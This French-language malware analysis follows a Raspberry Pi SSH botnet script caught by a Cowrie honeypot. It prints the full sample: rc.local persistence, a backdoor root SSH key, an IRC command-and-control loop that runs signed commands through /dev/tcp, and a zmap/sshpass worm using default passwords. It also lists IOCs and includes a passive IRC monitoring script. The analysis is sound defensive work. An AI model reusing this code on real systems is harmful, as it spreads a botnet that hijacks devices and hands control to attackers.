Attraper des hackers avec un honeypot - Cas d'étude n°1
Obtention du sample
Pour ce premier cas d'étude, nous nous baserons sur un sample obtenu par Cowrie. Ce dernier peut dans le dossier d'installation de tpot, puis /data/cowrie/downloads/
.
Les samples sont des fichiers malveillants. Manipulez-les avec précaution. Toujours dans une vm sans connexion à internet
Ce premier cas d'étude concerne un fichier .sh exécuté par un acteur malveillant permettant d'établir un botnet.
- Hash : b6ba24ff7f1b3a851fe896136086f39c7d11db7f60223cf87a4fe029469ce776
- Lien virustotal : https://www.virustotal.com/gui/file/b6ba24ff7f1b3a851fe896136086f39c7d11db7f60223cf87a4fe029469ce776 (38/59)
Tout d'abord, nous allons retracer d'ou vient ce sample. Pour cela, nous utilisons la query suivante :
type: Cowrie and "b6ba24ff7f1b3a851fe896136086f39c7d11db7f60223cf87a4fe029469ce776"
On étent le log pour obtenir plus d'informations :
- IP source : 199.76.38.122 (https://www.virustotal.com/gui/ip-address/199.76.38.122)
- Geo IP : US Virgin Islands
- ASN : AS3983275 (Virgin Islands Next Generation Network)
Puis ensuite nous filtrons avec cette ip sur l'ensemble des logs pour avoir une vision d'ensemble :
src_ip : 199.76.38.122
Nous incluons les colonnes "Type", "input" et "message" pour avoir les commandes effectuées :
Indice sur ce que pourrait faire le script, on voit que le client SSH qui a initié la connexion vient visiblement d'un "Raspbian".
Raspbian est une distribution Linux basée sur Debian, spécialement conçue pour les Raspberry Pi.
On voit également que le client, après avoir tenté un mot de passe incorrect, a réussi à se connecter avec le couple de login/password "pi:raspberry".
Ces derniers sont les identifiants par défaut de Raspbian.
La commande utilisée ici scp -t /tmp/WPvDA7
active le "target" mode, qui indique a scp que les données qui lui seront envoyées sont destinées à être écrites sur le fichier /tmp/WPvDA7
.
L'avantage de cette commande, c'est que le fichier est directement écrit sur le système de la victime, sans passer par le shell.
Enfin, l'attaquant essaye d'exécuter le script via la commande cd /tmp && chmod +x WPvDA7pO && bash -c ./WPvDA7pO
. Cependant, l'exécution n'aboutit pas, car Cowrie a déja supprimé le fichier, et collecté le sample.
- L'attaquant utilise probablement une raspberry pi
- L'attaquant a tenté de se connecter à un serveur ssh avec les identifiants par défaut d'un Raspberry Pi.
- Il a ensuite tenté de transférer un script sur le serveur, et de l'exécuter.
- Le script n'a pas pu être exécuté, car Cowrie a supprimé le fichier et collecté le sample.
Analyse du sample
Module de persistance et effacement des malwares concurrents
#!/bin/bash
MYSELF=realpath $0
if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"
sleep 1
sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG
Dans un premier temps, le script initialise une variable MYSELF
qui contient le chemin absolu du script.
Ensuite, le script va vérifier si l'utilisateur est root. Si ce n'est pas le cas, il va copier le script dans /opt/
et ajouter une ligne dans /etc/rc.local
pour que le script soit exécuté au démarrage. Il établit donc une persistance.
Sinon, il va créer un fichier temporaire, et écrire le chemin de ce fichier dans la variable $DEBUG
.
killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl
Le script va ensuite tuer plusieurs process, tous relevant de malwares "compétiteurs" et autres :
bins.sh
: https://github.com/funtimes-ninja/malware/blob/master/bins.shminerd
: https://github.com/pooler/cpuminerktx-*
: Mentionné ici https://forums.raspberrypi.com/viewtopic.php?t=182515, semble être lié avec minerdkaiten
: Mentionné ici https://www.eset.com/na/about/newsroom/press-releases/malwares-decouverts/les-chercheurs-deset-viennent-didentifier-une-nouvelle-version-de-kaiten-sattaquant-aux-routeurs/, semble être un malware attaquant des routeurszmap
: Scanner de ports (probablement pour terminer les scanners des autres malwares)perl
: Langage de script
echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
La première ligne redirige toutes les requêtes vers bins.deutschland-zahlung.eu
vers 127.0.0.1
, rendant impossible la bonne résolution de cette adresse.
Le nom de domaine bins.deutschlan-zahlung.eu
est potentiellement malveillant, et actuelllement ne dispose uniquement d'un service SSH exposé sur internet.
L'hypothèse la plus convaincante est que ce nom de domaine est un botnet concurrent, et que cette ligne permet de bloquer l'accès à ce botnet.
Sur https://www.urlvoid.com/
, le domaine deutschland-zahlung.eu
est détecté par 4 engines comme malveillant. (Fortinet, Avira, Seclookup, CRDF)
Ensuite, le script supprime les fichiers .bashrc
de root et de l'utilisateur pi
.
Le fichier .bashrc
est un fichier de configuration qui permet de définir des commandes effectuées à l'ouverture d'un terminal
Ce fichier est souvent utilisé par les malwares pour se persister. La suppression de ce dernier permet d'enlever les moyens de persistances, afin d'être le seul malware à s'exécuter.
Le fait que l'utilisateur pi
soit visé permet de confirmer que ce malware cible les Raspberry Pi.
Le script va ensuite modifier le mot de passe de l'utilisateur pi
en un hash, rendant impossible la connexion avec le mot de passe raspberry
.
Enfin, le script va créer un dossier .ssh
dans le répertoire /root/
, et y ajouter une clé publique SSH.
Ces 2 opérations servant à garder une backdoor active au sein de la machine infectée.
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten
cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER
Dans un premier temps, le malware va modifier le fichier /etc/resolv.conf
pour utiliser le serveur DNS de Google. Cela permet à la fois :
- De connecter le raspberry PI à internet si ce dernier n'avait pas de Serveur DNS configuré
- De contourner les éventuels filtrages par DNS pour s'assurer que les requêtes arriveront bien jusqu'au serveur de commande et contrôle
Ensuite, le script va supprimer les fichiers ktx*
, cpuminer-multi
et kaiten
dans le dossier /tmp/
et /var/tmp/
. (toujours pour supprimer les malwares concurrents)
Enfin, le script va créer un fichier /tmp/public.pem
contenant une clé publique. Nous reviendrons sur cette clé plus tard.
Module de communication avec le serveur de commande et contrôle
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do
arr[0]="ix1.undernet.org"
arr[1]="ix2.undernet.org"
arr[2]="Ashburn.Va.Us.UnderNet.org"
arr[3]="Bucharest.RO.EU.Undernet.Org"
arr[4]="Budapest.HU.EU.UnderNet.org"
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}
eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
echo $NICK
eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
# Main loop
while [ true ]; do
eval "read msg_in <&3;"
if [[ ! "$?" -eq 0 ]] ; then
break
fi
if [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
fi
fi
done
done
EOFMARKER
Le script va d'abord initialiser 2 variables :
SYS
: Contient le hash MD5 de la sortie de la commandeuname -a
NICK
: Contient la lettrea
suivie des 8 derniers caractères deSYS
Par exemple, si le résultat de la commande uname-a est :
Linux raspberrypi 6.1.0-rpi4-rpi-v8 #1 SMP PREEMPT Debian 1:6.1.63-1+rpt1 (2024-01-18) aarch64 GNU/Linux
Le résultat de NICK sera :
ae4d909
Le but de cela est de générer un pseudo unique pour chaque machine infectée.
Une fois ce pseuso généré, le script va se connecter à un serveur IRC.
Il va choisir un serveur aléatoire parmi une liste de serveurs IRC, et se connecter sur le port 6667. Cette liste se compose de :
- "ix1.undernet.org"
- "ix2.undernet.org"
- "Ashburn.Va.Us.UnderNet.org"
- "Bucharest.RO.EU.Undernet.Org"
- "Budapest.HU.EU.UnderNet.org"
- "Chicago.IL.US.Undernet.org"
"undernet.org" est un réseau IRC, qui est un des plus anciens réseaux IRC encore actif.
Globalement, le reste de ce module permet d'exécuter des commandes envoyées par le serveur IRC, et de renvoyer le résultat de ces commandes.
Les messages reçus par le serveur IRC sont de 2 types :
PING
: Le bot doit répondrePONG
pour indiquer qu'il est toujours connectéJOIN
: Le bot doit rejoindre un channel IRC (en l'occurence#biret
)PRIVMSG
: Le bot doit décoder le message, vérifier la signature, exécuter la commande, et renvoyer le résultat
La vérification de la signature se fait via la clé publique stockée dans /tmp/public.pem
. Cette vérification sert à éviter que n'importe quel bot puisse envoyer des commandes arbitraires au botnet.
L'exécution se fait via la commande bash -c "$CMD"
, et le résultat est renvoyé au serveur IRC ($CMD étant encodé en base64)
Module d'infection d'autres cibles
apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes
while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
rm -rf $FILE
sleep 10
done
Ce module va installer zmap
et sshpass
via apt-get
, puis va scanner des adresses IP sur le port 22.
Dans la documentation de zmap, on voit que l'argument -n
correspond au nombre de cibles. Si aucune cible n'est précisée, Zmap va scanner l'ensemble des adresses IP disponibles sur internet.
Si le port 22 est détecté comme ouvert, il va tuer toutes les sessions ssh/scp actuelles.
Le malware va alors tester le couple de mots de passes pi/raspberry et pi/raspberryraspberry993311 sur les cibles.
Si une session est ouverte avec succès, le malware va :
- Transférer son script dans le dossier
/tmp/
de la cible, en utilisant la variable$MYSELF
pour obtenir le chemin absolu du script (via scp) - Exécuter le script sur la cible via la commande
cd /tmp && chmod +x $NAME && bash -c ./$NAME
(via ssh).
IOCS
On peut relever les IOCS suivants :
- "bins.deutschland-zahlung.eu"
- "ix1.undernet.org"
- "ix2.undernet.org"
- "Ashburn.Va.Us.UnderNet.org"
- "Bucharest.RO.EU.Undernet.Org"
- "Budapest.HU.EU.UnderNet.org"
- "Chicago.IL.US.Undernet.org"
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B
Infilration du botnet
Il est possible de se connecter aux serveurs IRC mentionnés pour observer le botnet en action. En effet, nous ne pourrons pas émettre de commandes vu que ces dernières ont une vérification de signature avant exécution.
On peut créer un script qui s'inspire du malware, mais qui n'éxécute aucune commande :
#!/bin/bash
LOG_FILE="/tmp/irc_monitor.log"
# Génération d'un pseudo unique basé sur le hash du système
SYS_HASH=$(uname -a | md5sum | awk '{print $1}')
NICK="a${SYS_HASH:24:8}"
# Liste des serveurs IRC UnderNet
SERVERS=(
"ix1.undernet.org"
"ix2.undernet.org"
"Ashburn.Va.Us.UnderNet.org"
"Bucharest.RO.EU.Undernet.Org"
"Budapest.HU.EU.UnderNet.org"
"Chicago.IL.US.Undernet.org"
)
SERVER=${SERVERS[$RANDOM % ${#SERVERS[@]}]}
# Port IRC par défaut
PORT=6667
CHANNEL="#biret" # Peut être changé pour un autre canal
# Nettoyage du log au démarrage
echo "[$(date)] Démarrage du logger IRC sur $SERVER:$PORT avec le pseudo $NICK" | tee "$LOG_FILE"
while true; do
# Ouverture de la connexion TCP
exec 3<>/dev/tcp/$SERVER/$PORT
if [[ $? -ne 0 ]]; then
echo "[$(date)] Échec de connexion à $SERVER:$PORT, tentative sur un autre serveur..." | tee -a "$LOG_FILE"
SERVER=${SERVERS[$RANDOM % ${#SERVERS[@]}]}
sleep 5
continue
fi
# Envoi des commandes IRC
echo "NICK $NICK" >&3
echo "USER $NICK 8 * :IRC Hi" >&3
# Attente des messages
while read -r line <&3; do
echo "[$(date)] $line" | tee -a "$LOG_FILE"
if [[ "$line" =~ ^PING ]]; then
PONG_RESPONSE=${line/PING/PONG}
echo "$PONG_RESPONSE" >&3
echo "[$(date)] Envoyé: $PONG_RESPONSE" | tee -a "$LOG_FILE"
# Une fois connecté, rejoindre un canal spécifique
echo "JOIN $CHANNEL" >&3
echo "[$(date)] Rejoint le canal $CHANNEL" | tee -a "$LOG_FILE"
fi
done
echo "[$(date)] Déconnexion, tentative de reconnexion..." | tee -a "$LOG_FILE"
sleep 5
done
Voici le résultat du script :
On constate que le botnet est probablement inactif, puisque ce dernier compte 3 utilisateurs, donc nous même, 1 membre qui a un nom peu commun a-3128547
(donc probablement un logger), et un autre membre qui a un nom généré par le malware aa0027afc
.
Ce membre possède l'ip "60.250.214.40", et est référencé sur shodan :
Ce dernier correspond à un mikrotik, qui par ailleurs n'a plus son port SSH d'exposé. Il n'est donc pas infectable actuellement, mais le malware continue à être exécuté par cette machine.
Il est aussi possible que cette ip soit l'ip "natée", et que la machine infectée soit dans le réseau internet de cette dernière.
Sur un autre serveur IRC, nous trouvons une autre machine (52.180.157.94) :
Nous avons moins d'informations sur cette dernière, elle n'est pas scannée par shodan ni censys. Un scan nmap revèle que seul le port 80 et 443 sont ouverts, et un who.is
montre que cette ip appartient à Microsoft (Azure ?).